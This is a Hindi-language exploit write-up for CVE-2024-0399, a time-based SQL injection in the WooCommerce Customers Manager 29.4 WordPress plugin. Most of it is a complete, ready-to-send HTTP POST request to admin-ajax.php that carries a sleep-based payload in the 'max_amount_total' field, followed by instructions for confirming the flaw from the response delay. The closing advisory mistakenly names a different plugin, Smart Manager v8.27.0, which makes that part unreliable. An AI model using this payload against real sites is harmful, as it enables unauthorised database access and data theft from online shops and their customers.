
एक्सप्लॉइट शीर्षक: WooCommerce Customers Manager 29.4 - प्रमाणीकरण-पश्चात SQL इंजेक्शन
दिनांक: 2024-03-25
एक्सप्लॉइट लेखक: Ivan Spiridonov - xbz0n
सॉफ़्टवेयर लिंक: https://codecanyon.net/item/woocommerce-customers-manager/10965432
संस्करण: 29.4
परीक्षण किया गया: Ubuntu 22.04
CVE: CVE-2024-0399
प्लगिन किसी पैरामीटर को SQL स्टेटमेंट में उपयोग करने से पहले ठीक से सैनिटाइज़ और एस्केप नहीं करता है, जिसके परिणामस्वरूप Subscriber+ भूमिका द्वारा शोषण योग्य SQL इंजेक्शन उत्पन्न होता है।
यह भेद्यता व्यवस्थापक AJAX एंडपॉइंट में उपयोग किए जाने वाले 'max_amount', 'max_amount_total', 'min_amount', और 'min_amount_total' जैसे लेनदेन राशि पैरामीटरों में स्थित है। इन पैरामीटरों में SQL कमांड इंजेक्ट करके, प्रमाणित हमलावर SQL क्वेरी में हेरफेर कर सकते हैं, जिससे समय-आधारित SQL इंजेक्शन भेद्यता उत्पन्न होती है।
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
यदि सर्वर प्रतिक्रिया लगभग 20 सेकंड के लिए विलंबित होती है, तो यह समय-आधारित SQL इंजेक्शन के सफल शोषण का संकेत देती है, जो भेद्यता की पुष्टि करती है।
WooCommerce Customers Manager v29.4 के उपयोगकर्ताओं को दृढ़ता से सलाह दी जाती है कि वे प्रभावित एंडपॉइंट तक पहुंच प्रतिबंधित करें और एक सुधारित संस्करण जारी होते ही प्लगिन अपडेट करें। यह परामर्श Smart Manager v8.27.0 के सभी उपयोगकर्ताओं के लिए एक सूचना के रूप में कार्य करता है कि वे इस SQL इंजेक्शन भेद्यता से बचाव के लिए अपने प्लगिन को अपडेट करने में तत्काल कार्रवाई करें।